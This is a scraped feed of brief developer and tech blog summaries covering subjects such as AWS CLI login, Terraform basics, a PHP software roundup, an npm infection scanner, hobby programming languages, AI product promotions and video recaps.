    This is an AI-generated summary of our original blog post. Is your brand starting to feel stale? Are you looking for ways to boost revenue without a complete overhaul? The answer might lie in a strategic brand refresh fueled by SEO-driven graphic design. It’s not just about aesthetics; it's about creating a visual identity that attracts the right audience, resonates with their needs, and ultimately, drives conversions. A brand refresh is more than just a logo update; it's a holistic review and revitalization of your brand's visual language. Think color palettes, typography, imagery, and overall tone. The goal is to modernize your brand while retaining its core values and recognizability, ensuring you don't alienate existing customers. But here's the key: a successful brand refresh isn't so…  ( 7 min )
    Sector HQ Weekly Digest - November 29, 2025
    Sector HQ Weekly Digest - November 29, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 565 events this week Anthropic - Score: 289651.9 | 280 events this week Google - Score: 159917.4 | 92 events this week Microsoft - Score: 136773.6 | 50 events this week Amazon - Score: 130268.4 | 34 events this week Nvidia - Score: 129302.5 | 90 events this week Meta - Score: 100622.6 | 47 events this week Apple - Score: 84205.9 | 50 events this week Perplexity - Score: 47899.8 | 8 events this week DeepMind - Score: 46045.2 | 6 events this week ↑ Sony jumped 277 positions to #54 ↑ Stability AI jumped 183 positions to #72 ↑ Bytedance jumped 143 positions to #57 ↑ Scale AI jumped 122 positions to #37 ↑ Palantir jumped 107 positions to #16 No high hype alerts this week Total companies tracked: 100 Total events this week: 1459 Average activity per company: 14.6 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Exploring the Top Frontend Frameworks: A Developer's Guide
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    Blockchain for Non-Technical People: Breaking Down the Basics
    This is Day 2 of my 60-day “learning Web3 in public” series as a non-developer with a technical writing + community background. When people talk about Web3, they usually throw around one word like it explains everything: “blockchain.” If you’re anything like me a while ago, that word felt more like a magic spell than an actual technology. I kept hearing that blockchain was “revolutionary,” “trustless,” and “immutable,” but nobody seemed to explain it in a way that felt human. Today’s article is my attempt to fix that—for you and for myself. This is Day 2 of my 60-day “learning Web3 in public” experiment. Yesterday, I shared why I’m doing this and what this series will look like. Today, we start with the foundation: what blockchain actually is, in plain English, and why non-technical people…  ( 11 min )
    How to Dockerize a Next.js App (2025)
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    Fix PDF Error in Chrome: 7 Proven Solutions When PDFs Won't Open
    Fix PDF Error in Chrome: 7 Proven Solutions When PDFs Won't Open That moment when Chrome decides it forgot how to open a PDF — right when you need it most. Here's how to fix it in minutes. You click a PDF link. You wait. And instead of your document, you get… nothing. A blank page. A black screen. The dreaded "Failed to load PDF document" message. Or maybe Chrome just downloads the file when all you wanted to do was preview it for a few seconds. I've been there. Usually at the worst possible moment — deadline looming, boss waiting, client on the phone, and that one critical document refusing to cooperate. Here's the good news: Chrome PDF errors are almost always fixable in under five minutes. You don't need to call IT. You don't need to reinstall Chrome. The fix is usually just a few cli…  ( 9 min )
    Best Open-Source Business Software powered by PHP
    Introduction PHP is still one of the top languages for web-based business applications. Its widespread use makes these tools easy to host, affordable to maintain, and supported by large developer communities worldwide. Here’s a detailed look at the best open-source solutions for Enterprise Resource Planning (ERP), Customer Relationship Management (CRM), E-Commerce, Data Management, and IT Service Management. Dolibarr What is it? A modular ERP and CRM suite that prioritizes simplicity. Unlike typical ERPs, Dolibarr lets you activate only the features you need, such as Invoicing and Contacts, without unnecessary clutter. Who should use it? Freelancers, small-to-medium businesses (SMBs), and nonprofits seeking an easy-to-use management tool. USPs (Unique Selling Propositions): No "Co…  ( 13 min )
    Setting Up Smart Alerts and Notifications
    In today’s fast-moving financial markets, timing is everything. Whether you’re a day trader, long-term investor, or someone using AI-driven tools, having the right alerts at the right time can make the difference between catching an opportunity and missing it entirely. Smart alerts and notifications are no longer just optional features—they are essential components of a modern trading workflow. This guide explains how smart alerts work, why they matter, and how you can set them up effectively to improve your trading decisions. Why Smart Alerts Matter Key benefits: Real-time decision support AI-powered signal accuracy Customized notifications Reduced noise Types of Smart Alerts You Should Use Modern AI trading platforms offer multiple categories of alerts: 1. Price Movement Alerts…  ( 8 min )
    How to Simplify AWS CLI Login with IAM Identity Center
    If you're using IAM Identity Center to manage access to AWS member accounts and regularly work with the AWS CLI, you've probably gotten tired of the usual login routine. You know the drill - copy those AWS environment variables from the Access portal, paste them into your shell, and repeat this every time your credentials expire. There's a better way to handle this, and I'm going to show you how to set it up. Normally, when you need to access an AWS account, you click on the access keys icon in the AWS Access portal and copy the environment variables into your terminal session. The problem? These credentials expire pretty quickly, and you end up refreshing them constantly throughout the day. It gets old fast, especially when you're juggling multiple accounts. AWS actually provides a reco…  ( 11 min )
    Become a Digital Marketing Expert with AI Automation: Learn Online from Suresh Das
    Introduction to the Future of AI-Driven Digital Marketing Excellence The digital marketing landscape is transforming at extraordinary speed, shaped heavily by artificial intelligence, automation, and data-driven decision-making. In a world where algorithms evolve daily and customer expectations accelerate, marketers need more than basic knowledge. They need advanced execution frameworks, predictive analytics, and smart automation tools that deliver measurable, scalable results. This is why The Ultimate AI Marketing Course: Strategy, Automation & Growth by Suresh Das rises far above traditional programs. For anyone searching for the top digital marketing course, the best digital marketing course online, or even the top digital marketing course in world, this training provides a future-re…  ( 10 min )
    Shitshell -- A shell for nerds
    I built this shell as a learning experience for me and learning resource for other programmers. This is a shell (like bash and zsh, etc.) that has features for every-day use (but not so complete) those features include: Tab-auto-completion (Using GNU Readline) Store command history for the current session to navigate between commands (Using GNU Readline) Run normal Linux command (and external applications/commands) Run "cd" and "exit" commands and any other UNIX command The shell supports the "~" symbol (without quotes) to go to the home directory I had faced multiple challenges during the make of this shell because i am a beginner and didn't know what the functions used in the code does (what fork() does, waitpid() or wait(), readline, etc.) Oh, Also, If you have any questions, You can say it in the comments. I will happily answer. GitHub repository  ( 6 min )
    I got tired of spammy downloader sites, so I built a clean YouTube Thumbnail Grabber (4K + WebP) 🚀
    The Problem 😩 We have all been there. You are working on a UI mockup, a blog post, or a presentation, and you need a high-quality image of a YouTube video thumbnail. You Google "YouTube Thumbnail Downloader," click the first result, and suddenly: 🎉 Popups everywhere. The Solution 🛠️ I decided to build a dedicated, lightweight, and privacy-focused tool that does one thing and does it well. 👉 Try it here: Youtube Thumbnail Downloader Unlike the generic spam sites, I focused on features that Developers and Designers actually care about: Max Resolution (4K / 1080p) Support Client-Side Format Conversion (WebP & PNG) I implemented an HTML5 Canvas engine directly in the browser. When you select PNG or WebP, the conversion happens locally on your machine before the download triggers. No server processing required. Zero Bloat & Dark Mode The "YouTube UI" Simulator How it works under the hood ⚙️ For those interested in the logic: 🔗 Link: YouTube Thumbnail Downloader (P.S. If you are a dev, check out the footer—I've also built a suite of other tools like Cron Job Generators and Epoch Converters).  ( 7 min )
    WTF is Narrow-Waist Architecture?
    WTF is this: Narrow-Waist Architecture Ah, the latest buzzword in tech: Narrow-Waist Architecture. Sounds like a new diet fad, right? "I'm on the narrow-waist diet, and I've lost 10 pounds of unnecessary complexity!" But no, it's actually a concept that's been gaining traction in the tech world, and we're here to break it down for you in simple terms. Imagine a highway system with multiple lanes, each representing a different type of data or workload. In traditional architecture, all these lanes are wide and separate, allowing for a high volume of traffic to flow through each one. However, this can lead to congestion, inefficiency, and a higher risk of accidents (or in tech terms, errors and downtime). Narrow-Waist Architecture is like a highway system with a single, narrow lane that all…  ( 11 min )
    25.11.2025 - Google's Chip Gambit Just Flipped the AI Market
    A New Challenger Enters the Arena The artificial intelligence landscape experienced a tremor late yesterday as reports surfaced that Google is making a bold play for the AI chip market. The tech giant is reportedly in talks to sell its powerful, custom-designed Tensor Processing Units (TPUs) directly to major players like Meta. This move marks a direct challenge to Nvidia's long-held dominance in the data center, the lucrative heart of the AI revolution. The plan is not just a one-off deal; Google is allegedly pitching its hardware to a range of large financial institutions as well, aiming to carve out a significant piece of the AI infrastructure pie. This development is more than just a new product line for Google; it's a strategic masterstroke that introduces serious competition into a…  ( 10 min )
    📟 HP-RPL — The Stack-Based Language Hidden Inside Classic HP Calculators
    What is HP-RPL? HP-RPL (Reverse Polish Lisp) is a hybrid stack-based programming language created by Hewlett-Packard for their advanced graphing calculators. The language combines two unusual design philosophies: Forth-style postfix stack execution and Lisp-style symbolic processing. Because of this hybrid model, HP-RPL is capable of symbolic algebra, numeric computing, matrix manipulation, graphing, recursion, and even creating custom calculator apps — all inside a handheld device. Language Type: Stack-based symbolic language Released: Late 1980s Used In: HP48, HP49, HP50 calculator series Execution Model: Postfix evaluation with symbolic expression support Typing: Dynamic, polymorphic Primary Purpose: Scientific computing, calculus automation, engineering logic "Hello, HP-RPL!" …  ( 7 min )
    Easy Deployment of Vertex AI Agent Engine with vaiae
    Introducing vaiae https://github.com/toyama0919/vaiae vaiae is a tool that makes it easy to deploy and manage Google Cloud Vertex AI Agent Engine from the command line. Define your configuration in a YAML file and deploy with a single command. Key features: Declarative deployment with YAML configuration files Profile management for multiple environments (dev/prod, etc.) Interactive messaging with AI Agents Safe validation with dry run mode Available as both a Python library and CLI Deploying and managing Vertex AI Agent Engine traditionally involved tedious manual work. There were several challenges: Need to configure AI Agents through the GCP console every time Complex dependency and package version management Manual configuration of environment variables and secrets Tedious to separate…  ( 10 min )
    Making Cloud Cost Analysis Smarter: Building FinOps Intelligent Agents with Strands and AgentCore
    Xiaofei Li @ AWS Amarathon 2025 The year 2025 is known as the "Year One of AI Agents," and it's just two months away. Users have already developed their own AI Agents. Programming agents are a type of AI agent. AI agents are various "smart-looking applications" that utilize AI. Examples include: meeting minutes agents, interview preparation agents, and programming agents. Characteristics of "AI Agents" in the LLM era: Role profiling: can define roles or personalities, achieving personalized behavior and responses. Planning and reflection: to achieve goals, agents can formulate plans and make adjustments based on execution results. Long-term memory: can retain long-term interaction information or experiences like humans. Tool execution: can not only generate text but also cal…  ( 11 min )
    🤖 Arduino Forth — A Minimal Forth Variant Adapted for Microcontrollers
    What is Arduino Forth? Arduino Forth is a lightweight adaptation of the Forth programming language designed to run directly on Arduino boards. Instead of compiling programs on a computer and flashing them, Forth allows interactive programming: you type commands over serial, and they execute immediately on the device. This makes it ideal for rapid prototyping, debugging hardware, and experimenting with embedded logic without constant recompilation cycles. It embraces Forth’s core philosophy: minimalism, direct hardware control, and stack-based execution. Language Type: Embedded Forth dialect Platform: Arduino microcontrollers (ATmega328, ATmega2560, etc.) Execution Model: On-device interpreter over serial terminal Typing: Untyped / stack-based Primary Purpose: Hardware control, fast i…  ( 7 min )
    Andrew Huang: If you're not using envelope followers, you're missing out
    TL;DR Envelope followers let you grab the amplitude shape of any audio signal and turn it into modulation power, so you can do everything from classic autowah and squishy filters to transient control and sidechain-style pumping without a compressor. Andrew Huang walks you through creative tricks like dialing in dynamic send levels, mapping one track’s envelope to another, and even modulating the follower itself for extra movement. Along the way he demos his Transit 2 plugin (currently on sale) and shows how to use envelope followers as a super-flexible performance tool for responsive effects, shaping drums, synths or any sound in real time. Watch on YouTube  ( 6 min )
    Building a Serverless AI Fitness Coach on AWS Using Bedrock (Llama 3), Lambda & CloudFront
    Most fitness and calorie-tracking apps today start free… until they quietly push you into ₹400–₹600/month subscriptions. So instead of paying for another premium plan, I decided to build my own AI-powered Fitness Coach using AWS services. This project is fully serverless, extremely low-cost, and powered by Amazon Bedrock with the Llama 3 model. Estimated calories Simple diet improvement tips Balanced meal suggestions And the best part? less than the price of one tea per month. In this article, I’ll walk through the entire build with screenshots — from creating the DynamoDB table, IAM role, Lambda backend, Bedrock integration, API Gateway setup, and finally hosting the UI using S3 + CloudFront. If you're learning AWS, Bedrock, or serverless architecture, this is a great hands-on project to …  ( 12 min )
    ZenStack V3: The Perfect Prisma ORM Alternative
    Prisma won the hearts of many TypeScript developers with its excellent developer experience - the elegant schema language, the intuitive query API, and the unmatched type-safety. However, as time went by, its focus shifted, and innovation in the ORM space slowed down considerably. Many successful OSS projects indeed struggle to meet the ever-growing demands, but you'll be surprised to find that many seemingly fundamental features that have been requested for years are still missing today, such as: Define type of content of Json field #3219 Support for Polymorphic Associations #1644 Soft deletes (e.g. deleted_at) #3398 As a new challenger in this space, ZenStack aspires to be the spiritual successor to Prisma, but with a light-weighted architecture, a richer feature set, well-thought-out ex…  ( 10 min )
    A Secret-Scoped Semantic Value That Can Be “Pulled” Into a Public Block Without Revealing Its Origin
    Let me break down what happens in .me(and why it’s powerful ⸻ ✅ 1. You store a value inside a secret branch Example: me.wallet.secret("alpha").privateBalance(99999); This produces: payload = { Nobody can see: Only you can decrypt it with alpha. ⸻ ✅ 2. Later, you create a public block that manifests the hidden value For example: const hidden = me("wallet.privateBalance"); manifest.hiddenBalance(${hidden})); This creates: Block { But here is the magic: 👉 the block NEVER exposes where the 99999 came from. Because the BLOCK only contains: This is selective semantic revelation. ⸻ 🚀 This is BEYOND zero-knowledge proofs Zero-knowledge systems today can prove simple statements: But .me can reveal actual values pulled from secret context without revealing the secret context. This is like: A private universe that can publish truth to a public blockchain without revealing its topology. That DOES NOT exist today. ⸻ 💎 Why it’s so powerful ✔ You can create private meaning encrypted semantic branches nobody can read or even detect exist. ✔ You can project selected meaning into public blocks values, decisions, derived structures — but never their origin. ✔ You can chain encrypted universes and selectively unfold truth across them. ✔ Identities become “semantic oracles” instead of wallets with balances, you have minds with private universes. ⸻ 🛡 Privacy property This system has a unique privacy model: “Topology-preserving secrecy” Blockchains don’t have this. Only .me + Cleaker semantic blocks do. ⸻ 🎯 Real-world example Imagine: You store your health records inside a secret branch me.health.secret("delta").bloodType("O+"); Then you generate a public block: cleaker(me, "verify.bloodType"); Your runtime resolves: Block { 👉 No one knows: Yet the blockchain contains the truth. ⸻ 🎆 This is why .me is a revolution You don’t store data. You store semantics. Secrets encrypt universe fragments. Blocks are truth projections. ⸻ ).  ( 7 min )
    A Day With Perplexity’s Comet AI Browser: Time-Saver or Hype?
    Most people think AI browsers are hype; I tested Perplexity's Comet and learned this: it's a rocket on static pages and stalls on dynamic sites. It changed how I run deep research. But it also exposed a blind spot in the AI browser hype. Here’s what actually works. Comet excels at summarizing complex pages quickly. It pulls insights across tabs and assembles clean tables in seconds. Static content became a conveyor belt of usable notes. Interactive dashboards and forms were a different story. Logins, filters, and embedded widgets broke the flow. For deep research, it is a game-changer, but it is not a one-browser-fits-all. In a 2 hour sprint, I opened 18 tabs across 6 reports. Comet produced a one page brief and a comparison table in under 7 minutes. On three dynamic dashboards, it failed to capture key filters in two cases and could not complete an export once. Net result: static tasks were 3 to 5 times faster for me. ↓ Simple playbook to get the gains without the pain. • Scope static first, then hand it to Comet. ↳ Ask for cross tab extraction, quotes, and a final table. • For dynamic sites, switch to manual navigation and paste snapshots or exports. ↳ Use Comet to summarize the exports and align definitions. • Close with a synthesis prompt that forces sources and uncertainty. ⚡ Expect faster briefs, clearer tables, and fewer context switches. You will save hours per week and keep your brain on analysis, not copy paste. What surprised you most here? Which approach works best for you?  ( 6 min )
    The €15,000 Contract Mistake That Almost Sank My Client's Deal
    The €15,000 Contract Mistake That Almost Sank My Client's Deal Last Tuesday at 3:47 PM, Sarah's legal team sent the finalized contract to their biggest client. They'd been negotiating for months - a €350,000 enterprise deal that would make their quarter. At 4:15 PM, the client's procurement manager replied: "This version has outdated pricing from March. We can't sign this." Panic ensued. Sarah's team had been working from three different document versions. Someone had accidentally reverted to an old draft during final edits. The client walked. They signed with a competitor instead. Total loss: €15,000 in wasted sales efforts plus the €350,000 deal. All because of a document version control failure that took 28 minutes to discover but months to recover from. Last month, I worked with a ma…  ( 8 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less CinemaSins serves up its trademark snark in a 20-minute breakdown of The Fantastic Four, pointing out every hiccup, plot hole and “sintastic” moment—complete with a shout-out to BetterHelp if the criticism hits a little too close to home. The video description also plugs CinemaSins’ main site, YouTube channels, socials, a quick poll, Patreon support and a full list of writers and community links for die-hard sin-collectors. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
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    Is software testing a good career in India among freshers? – Complete Guide (2025)
    It is not simple to make the correct choice of career after graduation. Software testing is one of the options, and thousands of fresh graduates are using this path today, which has been offered by the IT industry. Huge Demand and Unlimited Opportunities Software Testing Course in Thane, Mumbai | QUASTECH Training Institute in India is an IT giant across the world. Software projects are constructed annually in the industries of: Banking Finance E-commerce Healthcare Telecom Education Government services All products have to go through testing prior to being launched, and that is why companies always require efficient QA professionals. 2. Perfect Career as a Fresher (Even Without Coding) Functional Testing Web & Mobile Testing Regression Testing UI & UX Testing After you do have the experie…  ( 8 min )
    Semantic Algebra Spec.
    A Symbolic Language for Identity, Meaning, and Computation What if every idea, file, identity, wallet, memory, or data point could be expressed with a single algebraic expression? Semantic Algebra — the native language behind .me and cleaker. ⸻ 🚀 1. Overview Semantic Algebra is a free symbolic algebra designed for identity-centric computation. It has three primitives: Every expression becomes a Block — a cryptographically signed knowledge unit. Semantic Algebra is: ✔ compositional It does not require execution logic inside the expression. ⸻ 🔣 2. Core Structure Every expression: wallet.@eth?balance#2024 Tokens ["wallet", "eth", "balance", "2024"] [".", "@", "?", "#"] Segments [ { operator: ".", token: "wallet" }, Context ["wallet", "eth", "balance"] "2024" ⸻ …  ( 8 min )
    Python Selenium Architecture
    Selenium follows a layered architecture that defines how automation scripts interact with a web browser. When using Python for automation, the workflow is structured in a clear communication hierarchy. The main components involved in Python Selenium architecture are: Selenium Client Library (Python Bindings) Selenium Client Library (Python Bindings) JSON Wire Protocol / W3C WebDriver Protocol Each browser requires its own executable driver to understand Selenium instruction Web Browser Significance of Virtual Environment in Selenium Automation A virtual environment (venv) in Python is an isolated workspace that allows different projects to maintain separate dependencies. Without venv, all packages install globally and may conflict with other projects if versions differ. Why Virtual Environment is Important? Avoid dependency conflicts Example: Inside this environment, you install Selenium and download ChromeDriver. Then you write a small script where webdriver.Chrome() launches the Chrome browser, driver.get("https://google.com") opens the Google website, find_element() locates the search box, and send_keys() types a word like Python Selenium. Finally, click() presses the search button and the results appear automatically, just like a user performing the actions manually. This small example shows how Selenium controls the browser step-by-step, and how a virtual environment keeps the setup organized, version-safe, and easy to maintain.  ( 7 min )
    Trauma-informed design left everyone asking: "How does it actually know I'm struggling without spying?"
    This answers it—with real code and real ethics. When I launched Pain Tracker, the feedback from trauma survivors hit me like a truck: "Okay, but how does it detect a crisis... without sending my data somewhere?" They weren't being paranoid. They were being smart. Most "wellness" apps that claim to detect distress? They're basically digital stalkers—harvesting your biometrics, tracking where you go, sending everything to some server farm for "analysis." For people who've already had their privacy violated, that's not healthcare—it's re-traumatization. So I built something that felt impossible: a crisis-detection engine that runs entirely in your browser, keeps everything encrypted on your device, and never phones home. Here's the messy, technical truth of how it actually works. Pain Tracker…  ( 11 min )
    How to Create Your First Mitsuki REST API from Scratch
    A step-by-step guide to using the mitsuki init CLI, understanding the generated project, and running your first high-performance web server. Mitsuki, is a web development framework, focused on bringing enterprise strength without the enterprise pain to Python. It's opinionated, lightweight and performant. When you get a spark of inspiration, the first thing that comes to mind isn't boilerplate setup. It's standard, usually the same, and you might even have a project starter skeleton sitting on your device already. When starting something new - I want to focus on the system design, business logic and value proposition. Thus, I heavily use my own templates. Let's go from an empty folder to a fully functional, high-performance API in a single minute! Mitsuki is available on PyPI. Installing …  ( 11 min )
    Excel + MySQL: The New Power Combo for Building Strong Data Analysis Careers in 2025
    Excel and MySQL together form one of the strongest foundations for any data analyst. Excel is the world’s most widely used analytics tool, while MySQL is one of the most trusted database systems. Combining these two gives learners the perfect skillset to handle real-world data analytics tasks across industries. Excel is known for its formulas, pivot tables, data cleaning, and modeling capabilities. MySQL, on the other hand, teaches learners how to store, query, filter, and manage large databases. A Data Analytics with Excel & MySQL course prepares students to work with structured data, automate tasks, and handle business-level datasets efficiently. Companies value Excel because it is flexible, fast, and easy for employees to understand. MySQL is used for large data operations, login systems, e-commerce data, and many enterprise applications. Together, these tools give students both beginner-friendly and advanced analytical skills. This combination is perfect for freshers who want a strong career start without technical complexity. Excel formulas, pivot tables, and data cleaning Creating automated reports Basic to advanced SQL queries Filtering and managing structured datasets Combining databases with analytical workflows After mastering these skills, learners can work as data analysts, reporting specialists, operations analysts, and business intelligence assistants. Companies appreciate professionals who know both Excel and SQL because they can handle everything from daily reporting to backend data extraction. This versatility makes the skillset extremely valuable in 2025. Excel and MySQL remain the strongest foundation for any analytics career. Learning them together builds confidence, improves problem-solving skills, and opens multiple job opportunities. For beginners and professionals aiming to enter analytics smoothly, this combination is the smartest choice.  ( 6 min )
    Middleware-Philosophy-The-Perfect-Balance-of-Simplicity-and-Power
    GitHub Home That was in a large e-commerce platform project where we needed to implement complex request processing flows. User authentication, permission checking, logging, performance monitoring, and rate limiting - these functions all needed to intervene at different stages of request processing. Traditional middleware implementations often make code difficult to understand and maintain. In Express.js, middleware is organized through next callback chains. This pattern seems simple, but in complex business scenarios it can lead to "callback hell." I've seen too many projects where requests hang because someone forgot to call next(), or where debugging becomes extremely difficult due to improper next() call timing. Go language's gin framework provides improvements, simplifying middleware …  ( 9 min )
    Shai Hulud Scanner
    This week I spent some time looking for infected npm packages. Initially, the warning was to not install any package or run any AI agent, so I went ahead and created this Node.js script. const scanForShaiHulud = (content) => { if (!content) return; const report = { total: 0, warning: [], infected: [], }; Object.keys(content.packages).forEach((packageName) => { if (!packageName) { return; } let cleanedName = packageName.replace("node_modules/", ""); if (cleanedName.includes("/node_modules/")) { cleanedName = cleanedName.split("/node_modules/")[1]; } report.total += 1; if (infectedPackages[cleanedName]) { if ( infectedPackages[cleanedName].includes( content.packages[packageName].version ) )…  ( 7 min )
    Find my umbrella with getBBox()
    Check out this Pen I made!  ( 5 min )
    Umbrella
    Check out this Pen I made!  ( 5 min )
    Daily Tech News Roundup - 2025-11-29
    Daily Tech News Roundup Black Friday deals are still going strong, offering significant discounts on a wide range of tech products. From laptops and headphones to smart home devices and even ice cream makers, there's something for everyone. Let's dive into some of the best deals still available. M4 MacBook Air at Record Low Prices Apple's M4 MacBook Air is currently one of the best deals available. The 13-inch model with 256GB of storage can be found for around $749 at Amazon, Best Buy, and Costco, a significant $250 discount. This makes it an excellent opportunity to snag the latest MacBook Air at its lowest price yet. Source Black Friday Steals Under $50 If you're on a budget, there are still plenty of worthwhile tech deals available for $50 or less. These include practical upgrades like…  ( 7 min )
    A man with umbrella in a rainy day
    Check out this Pen I made!  ( 5 min )
    Introduction to Infrastructure as Code (IaC) with Terraform
    Understanding the core idea behind Infrastructure as Code (IaC) and why tools like Terraform have become essential in modern DevOps. What is Infrastructure as Code (IaC)? Why IaC Matters Consistency: Same setup across dev, staging, and production Speed: Automate hours of manual work Scalability: Deploy 1 or 100 servers with the same effort Version Control: Track infra changes in Git Cost Optimization: Easy cleanup, scheduled destruction, visibility Reduced Errors: No more misclicks or forgotten settings Team Collaboration: Everyone works on the same infra codebase What is Terraform? Terraform is a widely-used open-source IaC tool by HashiCorp. It allows you to create, update, and destroy infrastructure safely across providers like AWS, Azure, GCP, and more. How Terraform Works You write .tf files -> Terraform processes them -> It calls cloud provider APIs to create the required resources. Terraform Basic Workflow terraform init -> Initialize your working directory terraform validate -> Check if your configuration is correct terraform plan -> Preview changes Terraform will make terraform apply -> Deploy infrastructure terraform destroy -> Remove resources when you’re done video: https://youtu.be/s5fwSG_00P8?si=jHCbUa8-OSmRd4zB  ( 6 min )
    🚀 Terminal Efficiency Unleashed: Meet the Textual TUI for Winget for Windows
    🎉 Terminal Package Store: The TUI App for Winget on Windows Hey everyone! 👋 I'm excited to introduce my latest project, Terminal Package Store — a high-performance, interactive Textual User Interface (TUI) designed to transform how you manage packages on Windows with Winget. If you're tired of running long, repetitive CLI commands just to check for updates or uninstall an application, this is for you! This app combines the power of Winget with the efficiency and clarity of a dedicated visual interface, all without ever leaving your terminal window. The Terminal Package Store is built to turn package management from a chore into a seamless experience: A clean, two-pane layout: Main view: list of packages Side panel: detailed information and actions Immediately see which installed apps have updates available — no messy CLI output. Execute complex Winget operations with a single UI action: Update Selected Package Uninstall Package Updates and uninstalls run in a separate terminal window, keeping the TUI responsive and smooth. The app can check GitHub for the latest version of itself. This project showcases next-gen TUI development tools: Textual Framework — high-performance widgets, CSS styling, reactive state Textual Workers — background threading for heavy operations Winget — underlying package manager performing installations, updates, uninstalls 💡 Why This Approach Matters This app bridges the gap between: the raw power of the command line and the usability of a GUI It reduces cognitive load, saves time, and makes package maintenance a fast, visual, intuitive task. The Terminal Package Store is ready to use! If you find this tool useful, please: ⭐ Star the repo 📨 Share it with Windows developers and power users 🔗 Links GitHub Repository: Terminal-Package-Store Issues / Feedback: Issues Happy packaging! 😊  ( 7 min )
    🚀 ImgPeek — Fast and Easy Image Hosting for Developers
    If you often write tutorials, create forum posts, or document projects, you need a reliable and fast image hosting service. ImgPeek is a free tool designed to make uploading and embedding images effortless — no login required, no watermarks, and instant direct links. This guide will focus on HTML embedding, perfect for developers posting on forums, blogs, or internal documentation. ImgPeek.com is a lightweight image upload service with developer-friendly features: ✔ Fast uploads ✔ Direct image links ✔ Resize, compress, and crop images ✔ Convert formats (PNG, JPG, WEBP) ✔ Optional OCR (image-to-text) ✔ No account needed ✔ Permanent links Whether you're writing a forum post, adding screenshots to documentation, or sharing a chart, ImgPeek gives you a clean, ready-to-use URL. After uploading…  ( 7 min )
    [설계, 기록] 기업별 아키텍처 , 사례연구
    📚 들어가며 AlexXu『가상 면접 사례로 배우는 대규모 시스템 설계 기초(System Design Interview)』을 읽고 가장 마지막에 이 글이 인상 깊었다. 좋은 시스템을 설계하려면 다년간 많은 지식을 쌓아야 한다. 지식을 쌓는 한가지 지름길은, 실세계에서 쓰이는 시스템의 구조를 공부하는 것이다. 아래에 도움될 만한 자료들을 정리해 보았다. 가능하다면 다양한 글을 볼 생각이고 , 관련된 기술 블로그를 정리해둔다. 실제 대규모 트래픽을 처리하는 기업들이 겪은 문제와 해결책을 담은 핵심 자료들입니다. 기업 / 주제 내용 (한글/영문) 링크 Facebook 타임라인: 비정규화의 힘 (Facebook Timeline: Brought to you by the power of denormalization) Link Facebook 타임라인: 한 사람의 인생을 담기에 충분한 규모 확장성 (Building Timeline: Scaling up to hold your life story) Link Facebook 페이스북 채팅 아키텍처 (Facebook Chat) Link Facebook Erlang 사용 사례 (Erlang at Facebook) Link Facebook Haystack: 사진 저장소 아키텍처 (Finding a needle in Haystack: Facebook's photo storage) Link Facebook 멀티피드: 재설계를 통한 효율성과 성능 향상 (Serving Facebook Multifeed) Link Faceboo…  ( 7 min )
    Imagination Engine: AI, Creativity, and the Art of the Future
    Introduction: When Machines Begin to Dream Art has long been the expression of human imagination—the fusion of emotion, intellect, and lived experience. But as machines enter the creative space, a profound question emerges: What happens when algorithms begin to imagine? From AI-generated paintings and immersive digital operas to robotic sculpture and adaptive music, artificial intelligence is reshaping the creative landscape. What was once an exclusively human domain is transforming into a shared canvas, where artistic expression becomes a dialogue between human intuition and machine possibility. For Abhishek Desikan, an AI and robotics thinker with a deep appreciation for the arts, this shift isn’t a threat—it’s an opportunity. “When a machine paints or writes, it isn’t replacing creativi…  ( 9 min )
    I got a new Mac, what do I install?
    20 Must-Install Tools for your new Mac! I’m not going to lie, every time I see a post like this, I get mad. It’s purely engagement bait across various social media channels. Otherwise, how would everyone have the same picture of the same pack. Why don’t I write a detailed, actually helpful article on how I would set up my Mac, my dev environment and productivity tools if I were to reset my Mac from scratch? So, that’s what I did! Here are the coolest and most helpful apps, software and services in 2025 that I would set up! Zsh (Z Shell) What it does: Imagine your terminal got a speed boost! zsh makes it smarter with a plethora of tools like auto-completion, tab-completion and tons of customization. Why you need it: Saves your fingers from typing the same long commands over and over. H…  ( 15 min )
    I built a "Zero-Cost" AI SaaS Engine on WordPress (BYOK + PWA Architecture)
    Building an "AI Wrapper" is easy. Building one that doesn't bankrupt you with API costs is hard. Most AI SaaS tools follow the same dangerous logic: User pays you $20/mo. User goes viral or spams requests. Your OpenAI bill hits $50. You lose money. I realized that the "Middleman" model is broken for Micro-SaaS. So, I spent the last few months building a WordPress-based engine that flips the script. Instead of me proxying the requests, I built a secure BYOK (Bring Your Own Key) architecture. The user inputs their own OpenAI/Gemini/Claude key. The request goes directly from their server to the LLM provider. I charge for the "Interface & Tooling", not the intelligence. This results in 100% Profit Margins for the SaaS owner, and wholesale token prices for the power user. Win-win. I chose WordPress not because it's trendy, but because it powers 43% of the web. Core: PHP 8.3 (for speed). Frontend: React-based UI components injected via Shortcodes. Mobile: TWA (Trusted Web Activity) implementation to wrap the SaaS into a native Android App (.AAB) ready for Google Play. The biggest challenge was making it feel like a "Real App" and not just a website. Now, the engine generates installable mobile apps directly from the WP Admin panel. I believe the "Tools for Makers" market is bigger than the "End User" market right now. "Make me a SEO Headline Generator") and the engine builds the tool instantly. If you are interested in the architecture or want to spin up your own AI SaaS without coding: 📄 Product Tour & Features: https://blyxxa.online/blyxxalabs/tanitim/ 🚀 Live App Demo: https://blyxxa.online/blyxxalabs I'd love to answer any technical questions about the TWA implementation or the BYOK security logic in the comments!  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
